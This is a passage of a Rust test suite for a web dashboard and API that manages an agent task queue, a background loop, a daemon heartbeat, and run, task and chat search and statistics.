17619 "merged outside the loop".to_owned(),
17620 PathBuf::from("/repo/magi"),
17621 Source::Agent {
17622 run: "20260101-000000-b455".to_owned(),
17623 node: "implement".to_owned(),
17624 },
17625 );
17626 task.runs.push("20260101-000000-b455".to_owned());
17627 task.runs.push("20260101-000000-9af4".to_owned());
17628 queue.put(&mut task).expect("file the task");
17629 let created_at = task.created_at;
17630
17631 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17632 assert_eq!(done.status, 200, "{}", done.body);
17633 assert_eq!(done.json()["status_str"], "done");
17634
17635 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17636 assert_eq!(
17637 reloaded.runs,
17638 ["20260101-000000-b455", "20260101-000000-9af4"]
17639 );
17640 assert_eq!(
17641 reloaded.source,
17642 Source::Agent {
17643 run: "20260101-000000-b455".to_owned(),
17644 node: "implement".to_owned(),
17645 }
17646 );
17647 assert_eq!(reloaded.created_at, created_at);
17648 }
17649
17650 #[tokio::test]
17651 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17652 let f = Fixture::start().await;
17657 let queue = f.queue();
17658 let mut task = Task::new(
17659 "landed while held".to_owned(),
17660 "x".to_owned(),
17661 PathBuf::from("/repo/magi"),
17662 Source::Human,
17663 );
17664 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17665 queue.put(&mut task).expect("file the held task");
17666
17667 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17668 assert_eq!(done.status, 200, "{}", done.body);
17669 assert_eq!(done.json()["status_str"], "done");
17670 assert!(
17671 done.json()["hold_reason"].is_null(),
17672 "a done task cannot still be waiting on something: {}",
17673 done.body
17674 );
17675 }
17676
17677 #[tokio::test]
17678 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17679 let f = Fixture::start().await;
17684 let queue = f.queue();
17685 let runs = f.runs();
17686 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17687 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17691
17692 let mut task = Task::new(
17693 "landed by hand".to_owned(),
17694 "x".to_owned(),
17695 PathBuf::from("/repo/magi"),
17696 Source::Human,
17697 );
17698 task.runs.push("20260101-000000-doa1".to_owned());
17699 task.runs.push("20260101-000000-doa2".to_owned());
17700 queue.put(&mut task).expect("file the task");
17701
17702 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17703 assert_eq!(done.status, 200, "{}", done.body);
17704
17705 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17706 .expect("run still on disk under this fixture's own home");
17707 assert_eq!(
17708 reloaded_run.status,
17709 RunStatus::Superseded,
17710 "closing the task by hand must relabel the earlier blocked attempt exactly \
17711 like the loop's own settle path does"
17712 );
17713 }
17714
17715 #[tokio::test]
17716 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17717 let f = Fixture::start().await;
17722 let queue = f.queue();
17723 let runs = f.runs();
17724 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17725 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17726
17727 let mut task = Task::new(
17728 "closed with nothing actually landed".to_owned(),
17729 "x".to_owned(),
17730 PathBuf::from("/repo/magi"),
17731 Source::Human,
17732 );
17733 task.runs.push("20260101-000000-dob1".to_owned());
17734 task.runs.push("20260101-000000-dob2".to_owned());
17735 queue.put(&mut task).expect("file the task");
17736
17737 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17738 assert_eq!(done.status, 200, "{}", done.body);
17739
17740 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17741 .expect("run still on disk under this fixture's own home");
17742 assert_eq!(
17743 reloaded_run.status,
17744 RunStatus::Blocked,
17745 "the last recorded attempt never landed, so the earlier one must not be \
17746 relabelled as superseded by it"
17747 );
17748 }
17749
17750 #[tokio::test]
17751 async fn unknown_ids_are_json_not_found_on_both_stores() {
17752 let f = Fixture::start().await;
17753
17754 let run = f.get("/api/runs/nosuchrun").await;
17755 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17756
17757 assert_eq!(run.status, 404);
17758 assert_eq!(task.status, 404);
17759 assert!(
17760 run.json()["error"]
17761 .as_str()
17762 .is_some_and(|e| e.contains("run")),
17763 "the error names what was not found: {}",
17764 run.body
17765 );
17766 assert!(
17767 task.json()["error"]
17768 .as_str()
17769 .is_some_and(|e| e.contains("task")),
17770 "the error names what was not found: {}",
17771 task.body
17772 );
17773 }
17774
17775 #[tokio::test]
17776 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17777 let f = Fixture::start().await;
17778
17779 let missing = f.get("/api/health").await.json();
17780 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17781
17782 write_daemon(
17783 f.home.path(),
17784 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17785 );
17786 let stale = f.get("/api/health").await.json();
17787 assert_eq!(
17788 stale["daemon"]["running"], false,
17789 "a minute without a heartbeat is a dead daemon, not a busy one"
17790 );
17791 assert!(
17792 stale["daemon"]["stale_for_secs"]
17793 .as_i64()
17794 .is_some_and(|s| s >= 55),
17795 "staleness is reported so the UI can say how long: {stale}"
17796 );
17797
17798 write_daemon(f.home.path(), Timestamp::now());
17799 let fresh = f.get("/api/health").await.json();
17800 assert_eq!(fresh["daemon"]["running"], true);
17801 assert_eq!(fresh["daemon"]["idle"], false);
17802 assert_eq!(fresh["daemon"]["pid"], 4242);
17803 assert_eq!(fresh["daemon"]["completed"], 7);
17804 assert_eq!(
17805 fresh["daemon"]["current"][0]["task"],
17806 "20260902-140501-aaaa"
17807 );
17808 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17809 }
17810
17811 #[tokio::test]
17812 async fn the_loop_is_not_running_until_something_starts_it() {
17813 let f = Fixture::start().await;
17814
17815 let view = f.get("/api/loop").await.json();
17816 assert_eq!(view["running"], false);
17817 assert_eq!(
17818 view["owned"], false,
17819 "nobody owns a loop that does not exist: {view}"
17820 );
17821 assert_eq!(view["stopping"], false);
17822 assert_eq!(view["last_error"], Value::Null);
17823 assert_eq!(view["daemon"]["running"], false);
17824 assert_eq!(
17825 view["repo"], "/repo/magi",
17826 "the repository a start would use, named before it is started"
17827 );
17828 }
17829
17830 #[tokio::test]
17831 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17832 let f = Fixture::start().await;
17833
17834 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17835 assert_eq!(res.status, 200, "{}", res.body);
17836 let view = res.json();
17837 assert_eq!(view["running"], true);
17838 assert_eq!(
17839 view["owned"], true,
17840 "the loop the UI started is the UI's own to stop: {view}"
17841 );
17842 assert_eq!(
17843 view["merge"],
17844 Value::Null,
17845 "no override was given, so each repository's own config decides"
17846 );
17847
17848 let health = f.get("/api/health").await.json();
17852 assert_eq!(health["loop"]["running"], true, "{health}");
17853 assert_eq!(health["loop"]["owned"], true, "{health}");
17854
17855 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17856 }
17857
17858 #[tokio::test]
17859 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17860 let f = Fixture::start().await;
17861 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17862 assert_eq!(first.status, 200, "{}", first.body);
17863
17864 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17865 assert_eq!(
17866 again.status, 409,
17867 "two loops on one queue race for the same claims: {}",
17868 again.body
17869 );
17870 assert!(
17871 again.json()["error"]
17872 .as_str()
17873 .is_some_and(|e| e.contains("already running the loop")),
17874 "the refusal has to say why: {}",
17875 again.body
17876 );
17877 assert_eq!(
17878 f.get("/api/loop").await.json()["running"],
17879 true,
17880 "and the loop that was already running is untouched by it"
17881 );
17882
17883 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17884 }
17885
17886 #[tokio::test]
17887 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17888 let f = Fixture::start().await;
17889 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17890
17891 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17892 assert_eq!(
17893 res.status, 200,
17894 "the answer must not wait for the loop: a run in flight is tens of \
17895 minutes and the operator is holding a phone: {}",
17896 res.body
17897 );
17898
17899 let view = settled(&f, |v| v["running"] == false).await;
17900 assert_eq!(view["owned"], false);
17901 assert_eq!(
17902 view["stopping"], false,
17903 "a loop that has stopped is not still stopping: {view}"
17904 );
17905 assert_eq!(
17906 view["last_error"],
17907 Value::Null,
17908 "a loop that was asked to stop did not fail: {view}"
17909 );
17910
17911 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17914 assert_eq!(twice.status, 200, "{}", twice.body);
17915 }
17916
17917 #[tokio::test]
17918 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17919 let f = Fixture::start().await;
17920 write_daemon(f.home.path(), Timestamp::now());
17923
17924 let view = f.get("/api/loop").await.json();
17925 assert_eq!(view["running"], false, "not in this process: {view}");
17926 assert_eq!(view["owned"], false, "and not this process's to control");
17927 assert_eq!(
17928 view["daemon"]["running"], true,
17929 "but a loop is alive somewhere, which is what the UI must say"
17930 );
17931 assert_eq!(view["daemon"]["pid"], 4242);
17932
17933 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17934 let res = f.post("/api/loop", Some(body)).await;
17935 assert_eq!(
17936 res.status, 409,
17937 "neither button may pretend to work on someone else's loop: {}",
17938 res.body
17939 );
17940 assert!(
17941 res.json()["error"]
17942 .as_str()
17943 .is_some_and(|e| e.contains("4242")),
17944 "the refusal has to name the process the operator must go to: {}",
17945 res.body
17946 );
17947 }
17948 assert_eq!(
17949 f.get("/api/loop").await.json()["running"],
17950 false,
17951 "and the refusal started nothing"
17952 );
17953 }
17954
17955 #[tokio::test]
17956 async fn a_stale_status_file_is_not_a_foreign_owner() {
17957 let f = Fixture::start().await;
17958 write_daemon(
17959 f.home.path(),
17960 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17961 );
17962
17963 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17964 assert_eq!(
17965 res.status, 200,
17966 "a daemon killed a minute ago must not lock the loop out of its \
17967 own home for good: {}",
17968 res.body
17969 );
17970 assert_eq!(res.json()["running"], true);
17971
17972 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17973 }
17974
17975 #[tokio::test]
17976 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17977 let f = Fixture::start().await;
17978 let before = f.get("/api/health").await.json()["loop_rev"]
17979 .as_u64()
17980 .expect("a loop revision");
17981
17982 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17983
17984 let after = f.get("/api/health").await.json()["loop_rev"]
17985 .as_u64()
17986 .expect("a loop revision");
17987 assert!(
17988 after > before,
17989 "the loop is in-process state, so this counter is the only thing \
17990 that tells a second device the first one started it: {before} -> \
17991 {after}"
17992 );
17993
17994 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17995 }
17996
17997 #[tokio::test]
17998 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17999 let f = Fixture::with_loop(launch_broken).await;
18000
18001 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18002 assert_eq!(
18003 res.status, 200,
18004 "starting it is not the failure: {}",
18005 res.body
18006 );
18007
18008 let view = settled(&f, |v| v["last_error"].is_string()).await;
18009 assert_eq!(
18010 view["running"], false,
18011 "a loop that died must not read as running, or the operator has \
18012 nothing to press: {view}"
18013 );
18014 assert_eq!(view["owned"], false);
18015 assert!(
18016 view["last_error"]
18017 .as_str()
18018 .is_some_and(|e| e.contains("read-only file system")),
18019 "the phone is where a loop that died at 3am is visible: {view}"
18020 );
18021
18022 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18025 assert_eq!(again.status, 200, "{}", again.body);
18026 assert!(
18027 again.json()["last_error"]
18028 .as_str()
18029 .is_none_or(|e| !e.contains("read-only file system")),
18030 "a fresh start does not keep showing why the last one died: {}",
18031 again.body
18032 );
18033 }
18034
18035 #[tokio::test]
18036 async fn a_newer_daemon_status_file_still_renders() {
18037 let f = Fixture::start().await;
18038 std::fs::write(
18041 f.home.path().join("daemon.json"),
18042 serde_json::json!({
18043 "schema": 2,
18044 "updated_at": Timestamp::now().to_string(),
18045 "idle": true,
18046 "surprise": { "nested": [1, 2, 3] },
18047 })
18048 .to_string(),
18049 )
18050 .expect("write daemon.json");
18051
18052 let health = f.get("/api/health").await;
18053
18054 assert_eq!(health.status, 200);
18055 assert_eq!(health.json()["daemon"]["running"], true);
18056 }
18057
18058 #[tokio::test]
18059 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18060 let f = Fixture::start().await;
18061 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18062 let broken = f.runs().join("20260902-140502-bad");
18063 std::fs::create_dir_all(&broken).expect("run dir");
18064 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18065
18066 let list = f.get("/api/runs").await;
18067 let detail = f.get("/api/runs/20260902-140502-bad").await;
18068
18069 assert_eq!(list.status, 200);
18070 let listed = list.json();
18071 let ids: Vec<&str> = listed
18072 .as_array()
18073 .expect("an array")
18074 .iter()
18075 .map(|r| r["id"].as_str().expect("an id"))
18076 .collect();
18077 assert_eq!(
18078 ids,
18079 vec!["20260902-140501-good"],
18080 "one unreadable run must not cost the operator the whole history"
18081 );
18082 assert_eq!(detail.status, 500);
18083 assert!(
18084 detail.json()["error"]
18085 .as_str()
18086 .is_some_and(|e| e.contains("run.json")),
18087 "the failure names the file to look at: {}",
18088 detail.body
18089 );
18090 let health = f.get("/api/health").await;
18094 assert_eq!(health.json()["runs_unreadable"], 1);
18095 }
18096
18097 #[tokio::test]
18099 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18100 let f = Fixture::start().await;
18101 let runs = f.runs();
18102 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18103 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18104 let path = runs.join("20260902-140502-bbbb").join("run.json");
18107 let mut v: serde_json::Value =
18108 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18109 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18110 std::fs::write(&path, v.to_string()).unwrap();
18111 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18112 std::fs::write(
18113 runs.join("20260902-140503-cccc").join("run.json"),
18114 "{ not json",
18115 )
18116 .unwrap();
18117
18118 let res = f.get("/api/search?scope=runs&q=quokka").await;
18119 assert_eq!(res.status, 200, "{}", res.body);
18120 let v = res.json();
18121 assert_eq!(v["total"], 1, "{v}");
18122 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18123 assert_eq!(v["hits"][0]["field"], "text");
18124 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18125 let parts = v["hits"][0]["snippet"].as_array().unwrap();
18126 assert!(
18127 parts
18128 .iter()
18129 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18130 "{v}"
18131 );
18132 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18133 assert_eq!(
18134 flat, "The Quokka leaks across threads",
18135 "whitespace is collapsed"
18136 );
18137
18138 let both = f
18140 .get("/api/search?scope=runs&q=MOBILE%20quokka")
18141 .await
18142 .json();
18143 assert_eq!(both["total"], 1, "{both}");
18144 let neither = f
18145 .get("/api/search?scope=runs&q=quokka%20zebra")
18146 .await
18147 .json();
18148 assert_eq!(neither["total"], 0, "{neither}");
18149 let stmt = f
18151 .get("/api/search?scope=runs&q=mobile%20first")
18152 .await
18153 .json();
18154 assert_eq!(stmt["total"], 2, "{stmt}");
18155 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18156 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18157 }
18158
18159 #[test]
18160 fn snippet_ignores_terms_longer_than_the_field() {
18161 let terms = ["ok".to_owned(), "elephant".to_owned()];
18162 let parts = snippet_of("ok", &terms);
18163 assert_eq!(
18164 parts,
18165 vec![SnippetPart {
18166 text: "ok".to_owned(),
18167 hit: true
18168 }]
18169 );
18170 }
18171
18172 #[test]
18173 fn snippet_marks_matches_longer_than_the_window() {
18174 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18175 let hit_len = |parts: &[SnippetPart]| -> usize {
18176 parts
18177 .iter()
18178 .filter(|p| p.hit)
18179 .map(|p| p.text.chars().count())
18180 .sum()
18181 };
18182 let total =
18183 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18184
18185 let long = "a".repeat(120);
18186 let parts = snippet_of(&long, std::slice::from_ref(&long));
18187 assert!(hit_len(&parts) > 0, "{parts:?}");
18188 assert!(total(&parts) <= cap);
18189
18190 let ja = "あ".repeat(130);
18191 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18192 assert!(hit_len(&parts) > 0, "{parts:?}");
18193 assert!(total(&parts) <= cap);
18194
18195 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18197 let term = format!("ab{}", "c".repeat(100));
18198 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18199 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18200 assert!(total(&parts) <= cap);
18201
18202 let text = format!("{}z", "a".repeat(119));
18204 let parts = snippet_of(&text, &["a".repeat(120)]);
18205 assert_eq!(hit_len(&parts), 0, "{parts:?}");
18206 }
18207
18208 #[tokio::test]
18209 async fn search_caps_hits_and_snippet_length() {
18210 let f = Fixture::start().await;
18211 let runs = f.runs();
18212 for n in 0..(SEARCH_MAX_HITS + 5) {
18213 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18214 }
18215 let v = f.get("/api/search?scope=runs&q=web").await.json();
18216 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18217 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18218 assert_eq!(v["truncated"], true);
18219 assert!(
18221 v["hits"]
18222 .as_array()
18223 .unwrap()
18224 .iter()
18225 .all(|h| h["run"]["status"] == "merged")
18226 );
18227
18228 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18229 let parts = snippet_of(&long, &["needle".to_owned()]);
18230 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18231 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18232 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18233 }
18234
18235 #[tokio::test]
18236 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18237 let f = Fixture::start().await;
18238 let queue = f.queue();
18239 let mut t = Task::new(
18240 "short title".to_owned(),
18241 "line one\nthe hidden Armadillo detail".to_owned(),
18242 PathBuf::from("/repo/magi"),
18243 Source::Agent {
18244 run: "r1".to_owned(),
18245 node: "chat".to_owned(),
18246 },
18247 );
18248 t.last_error = Some("disk full on /tmp".to_owned());
18249 queue.put(&mut t).expect("file the task");
18250
18251 for (q, want) in [
18252 ("armadillo", 1),
18253 ("disk%20FULL", 1),
18254 ("chat", 1),
18255 ("queued", 1),
18256 ("short%20nothing", 0),
18257 ] {
18258 let v = f
18259 .get(&format!("/api/search?scope=tasks&q={q}"))
18260 .await
18261 .json();
18262 assert_eq!(v["total"], want, "{q}: {v}");
18263 }
18264 for bad in [
18265 "/api/search?scope=tasks&q=",
18266 "/api/search?scope=tasks&q=%20",
18267 "/api/search?scope=chats&q=",
18268 "/api/search?scope=chats&q=%20",
18269 "/api/search?scope=nope&q=a",
18270 "/api/search?q=a",
18271 ] {
18272 assert_eq!(f.get(bad).await.status, 400, "{bad}");
18273 }
18274 }
18275
18276 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18278 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18279 .expect("seat value");
18280 let turns: Vec<serde_json::Value> = turns
18281 .iter()
18282 .map(|(who, body)| {
18283 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18284 })
18285 .collect();
18286 let doc = serde_json::json!({
18287 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18288 "status": status, "turns": turns,
18289 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18290 "seat": seat,
18291 });
18292 let dir = f.home.path().join("talks");
18293 std::fs::create_dir_all(&dir).expect("talks dir");
18294 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18295 }
18296
18297 #[test]
18298 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18299 let mut talk: Talk = serde_json::from_value(serde_json::json!({
18300 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18301 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18302 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18303 "seat": crate::agent::SeatState::new("talk", "test", 1)
18304 })).unwrap();
18305 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18306 talk.title = Some(talk::ChatTitle {
18307 text: "最近の話題".into(),
18308 source: talk::TitleSource::Generated,
18309 });
18310 let doc = talk_search_doc(&talk);
18311 assert_eq!(doc["title"], "最近の話題");
18312 assert_eq!(doc["turns"][0]["operator"], "古い話題");
18313 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18314 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18315 }
18316
18317 #[tokio::test]
18318 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18319 let f = Fixture::start().await;
18320 write_talk(
18321 &f,
18322 "20260901-000001-aaaa",
18323 "open",
18324 &[
18325 (
18326 "operator",
18327 "\n Why does the Pangolin cache expire?\nsecond line",
18328 ),
18329 ("agent", "Because the TTL is thirty seconds."),
18330 ],
18331 );
18332 write_talk(
18333 &f,
18334 "20260901-000002-bbbb",
18335 "closed",
18336 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18337 );
18338 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18339
18340 let search = |q: &'static str| {
18341 let f = &f;
18342 async move {
18343 f.get(&format!("/api/search?scope=chats&q={q}"))
18344 .await
18345 .json()
18346 }
18347 };
18348
18349 let v = search("PANGOLIN").await;
18350 assert_eq!(v["scope"], "chats");
18351 assert_eq!(v["total"], 1, "{v}");
18352 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18353 assert_eq!(v["hits"][0]["field"], "title");
18354 assert_eq!(v["unreadable"], 1, "{v}");
18355 let marked: Vec<&str> = v["hits"][0]["snippet"]
18356 .as_array()
18357 .unwrap()
18358 .iter()
18359 .filter(|p| p["hit"] == true)
18360 .map(|p| p["text"].as_str().unwrap())
18361 .collect();
18362 assert_eq!(marked, ["Pangolin"]);
18363
18364 let v = search("zebra").await;
18366 assert_eq!(v["total"], 1, "{v}");
18367 assert_eq!(v["hits"][0]["field"], "agent");
18368 assert_eq!(search("pangolin%20thirty").await["total"], 1);
18370 assert_eq!(search("pangolin%20zebra").await["total"], 0);
18371 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18373 assert_eq!(search(q).await["total"], 0, "{q}");
18374 }
18375 assert_eq!(search("second").await["hits"][0]["field"], "operator");
18377 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18379
18380 let v = f.get("/api/search?scope=nope&q=a").await;
18381 assert_eq!(v.status, 400);
18382 assert!(
18383 v.body.contains("scope must be runs, tasks or chats"),
18384 "{}",
18385 v.body
18386 );
18387 }
18388
18389 #[test]
18390 fn a_question_card_links_a_task_id_to_the_task_page() {
18391 let start = APP_JS
18392 .find("function updateAskCard(")
18393 .expect("updateAskCard exists");
18394 let body = &APP_JS[start..];
18395 let body = &body[..body.find("\n}\n").expect("function end")];
18396 assert!(body.contains("question.run_is_task"));
18397 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18398 assert!(body.contains("`#/runs/${question.run}`"));
18399 assert!(body.contains("\"task\" : \"run\""));
18400 }
18401
18402 #[test]
18403 fn plain_text_message_surfaces_go_through_linkify() {
18404 assert!(APP_JS.contains("function linkify("));
18405 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18406 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18407 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18408 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18409 assert!(!APP_JS.contains("innerHTML = text"));
18410 }
18411
18412 #[test]
18413 fn implementation_rate_views_keep_independent_samples() {
18414 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18415 let a = stats::AgentStats {
18416 competitive_entered: competitive_n,
18417 competitive_wins: usize::from(competitive_n > 0),
18418 solo_entered: solo_n,
18419 solo_adopted: 2 * usize::from(solo_n > 0),
18420 ..Default::default()
18421 };
18422 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18423 for (key, n, numerator) in [
18424 ("competitive_win_rate", competitive_n, a.competitive_wins),
18425 ("solo_adoption_rate", solo_n, a.solo_adopted),
18426 ] {
18427 if n == 0 {
18428 assert!(v[key].is_null());
18429 } else {
18430 assert_eq!(v[key]["denominator"], n);
18431 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18432 }
18433 }
18434 }
18435 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18436 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18437 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18438 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18439 }
18440
18441 #[test]
18442 fn stats_bars_share_one_id_keyed_plan() {
18443 let start = APP_JS
18444 .find("function statsBarRows(")
18445 .expect("statsBarRows exists");
18446 let body = &APP_JS[start..];
18447 let body = &body[..body.find("\n}\n").expect("function end")];
18448 assert!(body.contains("statsBarPlan(rows)"));
18449 assert!(body.contains("statsAgentTone(row.agent)"));
18450 assert!(!body.contains("candTone(i)"));
18451 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18452 for root in [
18453 "stats-agents-bars",
18454 "stats-solo-bars",
18455 "stats-reviewers-bars",
18456 ] {
18457 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18458 }
18459 }
18460
18461 #[test]
18462 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18463 let start = APP_JS
18464 .find("function renderStatsReviewerScatter(")
18465 .expect("renderStatsReviewerScatter exists");
18466 let body = &APP_JS[start..];
18467 let body = &body[..body.find("\n}\n").expect("function end")];
18468 assert!(body.contains("statsScatterPlan(reviewers)"));
18469 assert!(body.contains("statsAgentTone(d.agent)"));
18470 assert!(APP_JS.contains("function statsScatterPlan("));
18471 assert!(
18472 APP_JS.contains("d.submitted < STATS_LOW_N")
18473 || APP_JS.contains("r.submitted < STATS_LOW_N")
18474 );
18475 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18476 assert!(APP_CSS.contains(".precision-scatter"));
18477 }
18478
18479 #[test]
18480 fn advisor_reflection_is_drawn_as_stacked_segments() {
18481 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18482 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18483 let html = include_str!("../assets/ui/index.html");
18484 assert!(html.contains("Approximate"));
18485 for label in ["reflected strongly", "faint", "no proposal"] {
18486 assert!(html.contains(label));
18487 }
18488 let css = include_str!("../assets/ui/app.css");
18489 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18490 assert!(css.contains(&format!(".{c} {{")));
18491 }
18492 }
18493
18494 #[test]
18495 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18496 assert!(APP_JS.contains("function statsDailyPlan("));
18497 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18498 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18499 }
18500
18501 #[test]
18502 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18503 let start = APP_JS
18504 .find("function scheduleSearch(")
18505 .expect("scheduleSearch exists");
18506 let body = &APP_JS[start..];
18507 let body = &body[..body.find("\n}\n").expect("function end")];
18508 assert!(body.contains("s.seq += 1"));
18509 }
18510
18511 #[tokio::test]
18516 async fn stats_runs_unreadable_matches_health() {
18517 let f = Fixture::start().await;
18518 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18519 let broken = f.runs().join("20260902-140502-bad");
18520 std::fs::create_dir_all(&broken).expect("run dir");
18521 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18522
18523 let stats = f.get("/api/stats").await;
18524 let health = f.get("/api/health").await;
18525
18526 assert_eq!(stats.status, 200);
18527 assert_eq!(stats.json()["totals"]["runs"], 1);
18528 assert_eq!(stats.json()["runs_unreadable"], 1);
18529 assert_eq!(
18530 stats.json()["runs_unreadable"],
18531 health.json()["runs_unreadable"],
18532 "the dashboard and /api/health must never disagree about how many \
18533 runs could not be read"
18534 );
18535 }
18536
18537 #[tokio::test]
18538 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18539 let f = Fixture::start().await;
18540 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18541 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18542 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18543
18544 let totals = &f.get("/api/stats").await.json()["totals"];
18545 assert_eq!(totals["runs"], 3);
